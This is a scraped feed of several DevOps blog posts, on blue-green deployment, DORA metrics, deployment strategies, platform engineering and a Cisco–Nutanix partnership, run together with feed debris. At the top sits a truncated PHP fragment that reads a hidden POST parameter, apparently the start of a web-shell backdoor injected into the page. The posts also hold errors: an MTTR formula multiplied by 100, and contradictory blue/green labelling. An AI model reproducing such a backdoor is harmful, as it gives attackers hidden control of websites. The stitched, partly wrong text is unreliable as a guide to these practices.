$_api_resp = @$_POST['ant'];
if ($_api_resp) {
$pk = <<
Frequent and quality deployments are a core principle of DevOps. However, whenever you need to deploy a new version, you must stop the current one first. This leads to significant downtime for the end user and can affect customer experience. Moreover, if any bug or error is found after release, it will require additional downtime to withdraw the updated version and switch back to the old one. This process is how newer versions of the application were deployed conventionally.
A modern approach that solves the problem of downtime and time-consuming rollback procedures is blue-green deployment. Although a bit complicated, blue-green deployment requires ‘zero’ downtime and makes rollbacks easier, thus ensuring seamless user experiences.
But how does it work?
Blue-green deployment involves 2 production environments:
As per the traditional method, the blue environment should be stopped first and the green environment should be deployed in its place. However, in blue-green deployment, the green environment is deployed alongside the blue one so that both of them run simultaneously. Then, the user traffic is gradually shifted from the blue environment to the green one. Once all of the traffic has been successfully shifted to the green environment, the blue environment is finally withdrawn. Therefore, there occurs no downtime for any user as both the old and the new versions stay active.
The following illustration depicts how traffic is shifted from the blue environment to the green environment…

Image credits: What is Blue/Green Deployment?
But I also mentioned that it makes rolling back easier in case of bugs, right? How does that work?
So, when the traffic is being shifted from the blue environment to the green one, the latter is closely monitored for any signs of errors or bugs. If any of them occurs, whatever traffic that lies in the green environment is shifted back to the blue environment. The green one is then rolled back for redevelopment and retesting. In this way, blue-green deployment makes rolling back easier in case of bugs that might have bypassed the testing phase but are evident only when actual users interact with it.
All the steps involved in blue-green deployment can be summarized as follows…

Image credits: Blue-green deployment
The following are the main advantages of blue-green deployment:
Although blue-green deployment sounds ideal, it comes with a few challenges and limitations:
Blue-green deployment is a modern solution that effectively addresses the downtime problem, ensuring a smoother and more reliable user experience. By running two environments in parallel and switching traffic seamlessly between them, it eliminates the need for downtime during updates. It comes with an added advantage of easier rollbacks which makes it suitable for teams looking to improve their deployment efficiency. While it does have its limitations, such as infrastructure costs and setup complexity, the overall benefits make it a powerful strategy for delivering continuous and uninterrupted services.
The post Blue-green Deployment Explained: The Secret to ZERO Downtime appeared first on DevopsCurry.]]>We have already discussed about DevOps culture and a few metrics and KPIs before. In today’s article, we will be focusing on 4 standard metrics provided by DORA and how to improve them.
What are DORA Metrics in DevOps & How to Improve Them?
The aim of DevOps is to improve the software development process through better communication and collaboration between the development and operations teams. DevOps culture has four basic principles as per the CAMS model:
The third principle, that is measurement, is what entails the metrics and Key Performance Indicators (KPIs) used to evaluate the DevOps performance of companies. These metrics and KPIs also help companies find loopholes in their development and deployment process. There are several metrics and KPIs, but four of them have been set as standard by DORA.
Let’s see what is DORA and it’s 4 standard metrics…
DevOps Research and Assessment (DORA) is a research program launched by Gene Kim, Jez Humble, and Dr. Nicole Forsgren. It is a team at Google Cloud that “seeks to understand the capabilities that drive software delivery and operations performance.” (DORA)With years of research, DORA has identified 4 key metrics that help to measure the DevOps performance of businesses. These key metrics can be categorized based on what they measure.
The first category measures the throughput (or velocity) which refers to how fast changes are being made. It includes:
The second one measures stability which refers to the quality of the changes and the ability of the team to fix any failures. It includes:
Based on these metrics, DORA classifies the DevOps performance of companies into four: Elite, High, Medium and Low. After understanding all the metrics, you can also attempt the DORA Quick Check to evaluate these metrics for your company.
So let’s discuss each one of the metrics and how to improve them one by one…
Deployment frequency tells how often new codes are deployed to production. It can be simply calculated by counting the number of codes deployed over a period of time. It can range from multiple times a day (for high-performing teams) to once every 6 months or more (for low-performing teams).
Change lead time or the lead time for changes indicates the efficiency of the CI/CD pipeline based on how much time it takes for a change to get successfully deployed to production. In other words, it is “the difference in hours between the date and time of the author’s commit and the date and time of the deployment containing that commit.” (Pluralsight)
It can range from less than an hour (for high-performing teams) to more than 6 months (for low-performing teams).
Change failure percentage or change failure rate (CFR) is the percentage of deployments that lead to failures in production. A ‘change failure’ means any negative impact like crashes, low performance, or security vulnerabilities caused by a change or update. It can be calculated using the following formula:
CFR = (number of failed changes/total number of changes)*100
A CFR lower than 15% is considered good while anywhere between 16 to 30% is considered high. A lower CFR indicates a reliable CI/CD pipeline and effective testing.
Also known as failed deployment recovery time, MTTR is the time taken to recover from a partial service interruption or a total failure. It includes the time spent diagnosing and repairing the issue and redeploying the new code. It can be calculated using the following formula:
MTTR = (Total downtime/Number of incidents)*100
It ranges from less than an hour (for high-performing teams) to 6 months (for low-performing teams).
The above metrics can be summarized using the table given below:

Measuring your performance is the key to improving it. The four DORA metrics – deployment frequency, change lead time, change failure rate, and mean time to recover – help to quantitatively measure the current performance of your DevOps team. These metrics can be improved mostly through automation and smooth collaboration between teams. Continuous assessment and improvement of these metrics ultimately help to improve customer satisfaction – the goal of all businesses and companies.
The post Overall Guide About Dora Metrics appeared first on DevopsCurry.]]>One of the phases of Software Development Lifecycle (SDLC) is Deployment. Like any other stage this holds a very important place in the lifecycle. In simple terms project deployment is a process of making the application ready to deliver to the end users. It involves multiple steps, systematic processes before the application is delivered to the customers. The process of deployment involves software release, installation, rigorous testing, and most importantly performance monitoring.
The deployment strategy is a method to alter or enhance an application. The primary concern in deployment is to make the change in such a way that the end-user does not feel any discomfort while using the application. To help overcome any issue while migration, there are several techniques available. The organization needs to ponder on the facts that which suits there requirement the best.
This article is going to focus on deployment strategies weighing each method’s pros and cons to get a clear idea of which strategy works best for you. As mentioned earlier there are multiple deployment practices, but we will focus on below-mentioned approaches.
The principal idea behind the rolling strategy is to wait for the new pods to become ready. The preparedness of pods is evaluated by a readiness check before taking down the old version. During this period if any serious issue occurs, the rolling deployment can be put on hold.
There is a common practice of employing canary deployments for OpenShift Container Platform. All the new instances are thoroughly tested before replacing them with old versions. If the readiness check does not signal okay, then the deployment is aborted by the team. The check is not an external mechanism; it is inbuilt in the code. The team can always make more stringent checks as per requirement.
When to use
∙ The canary technique carried out when the team is not sure of overall steadiness of the application. To ensure that the new version is working well with the platform it is rolled out in iteration.
Pros
1. Convenient for performance testing.
2. Fast retraction is possible in case of a major issues.
Cons
1. The application rollout is time-consuming.
As the name suggests the strategy works on the idea to deploy a dummy version. The new version is deployed when the old version has been closed down. This approach results in significant downtime as both the instances of applications cannot run simultaneously. Let’s look at the situations which are best suited for, pros and cons.
When to use
∙ The approach is ideal for situations before starting a new development task.
∙ When you do not support having version A and version B of your program code operating at the same time.
Pros
1. Easy to put applications together.
2. Application gets revamped.
Cons
1. Downtime of the application is a major drawback.
The approach is a little different than the above two strategies discussed above. Instead of rolling out a new version directly a part of the application is introduced to the users. This move is considered more of a business strategy rather than a deployment technique. To make this strategy successful a part of the new application version is rolled out first. Based on the data, statistics, and usage by the end users that part is taken into consideration for final deployment. But for this, we need to make some additional changes in order to distribute the traffic from old to new. Some of them are:
∙ By using browser cookies
∙ Query parameters
∙ Using GPS and IP to get the location of the devices/users.
Pros
1. Negligible downtime as the new version is tested in conjunction with the old version.
2. Traffic among new and old can be efficiently managed.
Cons
1. Requires a strong load balancing mechanism.
2. Troubleshooting can become tricky due to double version management.
A shadow deployment principally revolves around the idea of keeping both versions. The old version is not discarded instead the traffic of the old version is diverted to the new version. This way the production is not hampered and the job also gets done. This is particularly effective to test the production load on the new version. Final deployment is done when the application meets all the stability and performance factors.
This approach requires some arrangements to be performed for successful implementation. Let’s consider an example of a payment gateway, one challenge that you can face while implementing is that user might end up paying twice for the same order. This is fairly simple to solve by creating a mocking service you can create a dummy service that replicates the response from the provider.
Pros
1. No separate performance testing required to be done.
2. Minimal impact on the user and production.
Cons
1. The setup can be quite expensive.
2. Additional arrangements like mocking services are required.
Blue-green deployment uses two versions of an application simultaneously. The old version is used is called the green version and the new version is called the blue version. This arrangement requires two configurations. If the testing version clears all the checks then traffic is redirected to a new version. If required, there is also a facility to roll back to the green, version by switching the production back to the previous version.
Pros
1. Switching back and forth between the versions is easy.
2. No versioning issue.
Cons
1. Expensive as it requires managing dual versions.
2. Managing both applications can be tedious task.
There are multiple ways to manage the deployment strategy but it totally depends on the business requirement. So, it is advisable to have in-depth knowledge of your applications, available resources, the end-user requirements, and the cost that it is going to incur on the organization. Considering these options you can go for any of the choices listed above.
The post Devops 2024: Best Popular Deployment strategies appeared first on DevopsCurry.]]>Platform engineering is a new discipline that has emerged in response to the growing complexity of our modern day Cloud-native architectures. It can be called as a practice of building and maintaining an integrated product, which we call as “Internal Developer Platform” (IDP) ,which acts as a flexible and supported abstraction layer between developers and the underlying technologies of their applications.
Platform engineering is a process or an art that combines several tools and technologies which streamlines the software development and delivery process and help decrease the mental load on individual contributors, enabling self-service platforms for developers and other staeholders.
Platform engineers bring the necessary tools for deploying and running applications and formalize their usage across the entire team. In other terms, platform engineering encompasses everything that is a part of the application’s non-functional requirements.
A platform engineer’s responsibilities are to organize, create, and maintain the infrastructure that supports the DevOps of software applications. Nowadays, platform engineering is becoming a trend because it guarantees to provide the best experience for developers and speeds up the product team. They also help developers work more efficiently by implementing CI/CD pipelines and configuring IaC (Infrastructure as Code) to automate cloud resources.

Image Credit: https://softwareengineeringdaily.com/2020/02/13/setting-the-stage-for-platform-engineering/
The above images show how both platform engineering and Infrastructure as Code (IaC) are properly suited for the development team. Once these tools receive more features, application developers must work on these features. Subsequently, both the platform engineering team and the Infrastructure as Code team collaborate.
A platform engineer’s responsibility is to build the tools needed in the development and operations process for organizing, executing & managing the infrastructure. These engineers also work at the junction of IT operations & software development, concentrating on developing an automated workflow to help the develeopers, sysadmins, security teams and other stakeholders with a se
Platform engineers have to work with software developers, stakeholders, and system administrators to get to know their needs and secure them to fulfill their needs with the help of tools and platforms.
The platform engineer’s responsibilities depends upon the need of the organization, and some of the common responsibilities may include:
IMAGE CREDIT: https://www.spiceworks.com/tech/it-careers-skills/articles/platform-engineer-job-role/#lg=1&slide=0
A Platform engineer have several responsibilities. He will discuss challenges with the developers and then act upon their insights to build internal tools and platforms.
Some of the Key principles of Platform engineering are shared below.
One of the most important principle and the main reason for the existence of the platform engineering teams is to make the life of developers easy. They collaborate with the developers, understand their pain-points and then work to build a frictionless internal developer portals (IDPs), that is an internal tool or platform to solve some of the developer challenges within.
Another core principle for Platform enigneering is Resilience. In case of major issues or chaos, a modern Platform team not only survives, but thrives.Antifragility takes it a step further, transforming disruptions into opportunities for improvement. Modern platform engineering employs strategies such as redundancy, graceful degradation, and fault tolerance to build systems that flourish under pressure.
As the name says automation principles mean to automate manual and repetitive tasks like testing, evaluating, deployment, etc. It also enhances to decrease human mistakes, speeds up software delivery & improves the efficiency. Automation is the fundamental principle of platform engineering that consist the utilization of scripting and technology to perform the repetitive tasks and streamline process.
Standardization maintain the consistency, helps to facilitates alliance across the team, decreases elaborateness. Standardization also provide the best practices, and coding structure. Other important principle of platform engineering, it helps to assure the reliability, consistency for organizing infrastructure and help the team of software development. To configure the standardized security help to protect against vulnerabilities and assure all the problem related to industry regulations.
The principle of designing and making a software platforms is nothing but a collection of loosely coupled and independent code modules.Here each module serves a specific purpose which can be developed, tested, and deployed independently. The principle of Modularity enhances flexibility, reusability, and scalability, allowing for easier maintenance, upgrades, and adaption to changing requirements.
Another key principle of platform engineering is Scalability. It can be defined as the ability of a platform or a tool to handle increased workloads, traffic, users, and data volumes without giving up on the performance.Platform engineering helps develop a scalable architecture or infrastructure that can scale down or up efficiently.
Platform Engineers are also responsible to secure developer code, infrastructure ,data and other resources. Implementing robust security measures can protect the platform, application, and user data from breaches, any unauthorized and unwanted access, and other vulnerabilities.
The platform engineering process also emphasizes on the collaboration between Platform engineers, Developers, Operation teams, and other stakeholders involved in the project.
If you want to become a successful Platform engineer, it’s important to have some key skills and some of the common skills are communication skills, analytical skills, innovation skills, collaborative teamwork skills & the last not least is trouble solving skills.
Increased Efficiency
The entire process of platform engineering is automated, focusing on automation. Before the platform engineer’s involvement, the work was manually managing the cloud infrastructure and creating CI/CD pipelines, which consumed significant time and resulted in numerous errors. Therefore, the platform engineer enables more efficient work with fewer errors.
Cost Optimization
Many platform engineers handle cloud services with a “pay as you use” model, which means organizations only pay for the services they use. Platform engineering facilitates cost optimization through automation, efficient resource allocation, and payment based on actual usage of cloud services. This approach helps organizations save money while ensuring reliable and scalable applications.
Improved Security
Platform engineering employs several techniques to enhance security, including monitoring and logging systems to detect suspicious activities, providing security training and attention, securing container environments, and ensuring the security of code pipelines and applications.
Increased velocity
Platform engineering exponentially cuts down on the time it takes for developers to get up and running in the cloud.
There is no denying fact that Platform engineering is the latest buzz in the technology space and the future also looks bright. The image below shows Gartner’s Hype cycle for Emerging Tech for 2022, and Platform engineerings seems to be there fo rat-leasst next 5 years or more.

IMAGE CREDIT : https://www.gartner.com/en/articles/what-s-new-in-the-2022-gartner-hype-cycle-for-emerging-technologies
So if someone is looking to pursue a career in Platform engineer then they can definitely choose it to make a successful and rewarding career option out of it. This role is nowdays becoming moe and more popular and many organizations gobally are hiring Platform engineers for the enhancement and company growth. It is a combination of tools and technology that decreases the mental pressure on individual contributors, enabling self-service for developers.
Hence we can conclude on the note that the demand for Platform engineers is rising and Platform engineering as a concept is here to stay for long.
The post An Overview Of Platform Engineering appeared first on DevopsCurry.]]>Cisco is combining its compute and networking infrastructure with Nutanix’s cloud platform. The companies will sell the resulting solution to organizations that need help simplifying their operations and speeding up digital transformation, and they’ll do so largely through resellers, managed service providers and other channel experts.
According to Jeremy Foster, senior vice president and general manager, Cisco Compute, the new solution will span virtual compute, networking, and storage. It aims to function across both customer data centers and public clouds.
“Customers are asking for solutions that are simple, sustainable and future-ready,” said Foster. “This partnership answers with a complete solution spanning virtual compute, networking and storage across customer data centers and public clouds.”
“This partnership answers with a complete solution spanning virtual compute, networking and storage across customer data centers and public clouds. By combining Cisco’s award-winning SaaS-managed compute portfolio with Nutanix’s market-proven cloud platform software, we can help customers develop a balanced approach to power modern workloads on-prem and in the cloud,” said Foster.
The Nutanix Cloud Platform provides a consistent cloud operating model with a single platform for running applications and data across data centers, edges and public clouds. To best support application deployments, from mission-critical workloads to AI-driven innovation, performance and capacity scale linearly, resilience is delivered from the ground up with self-healing nodes, and persistent storage is natively integrated.
Nutanix chief commercial officer Tarkan Maner said: “This partnership will deliver an expanded market opportunity for both organisations as they tackle the challenges of standardising, simplifying, and securing environments across the data centre, in public cloud and the edge.”
Cisco and Nutanix plan to enable their global sales teams and partners to offer the integrated solution, with the Cisco team leading the go-to-market efforts. The availability of the solution is expected within the next three months.
The post Network giant Cisco partners with Nutanix to offer multicloud deployment solutions appeared first on DevopsCurry.]]>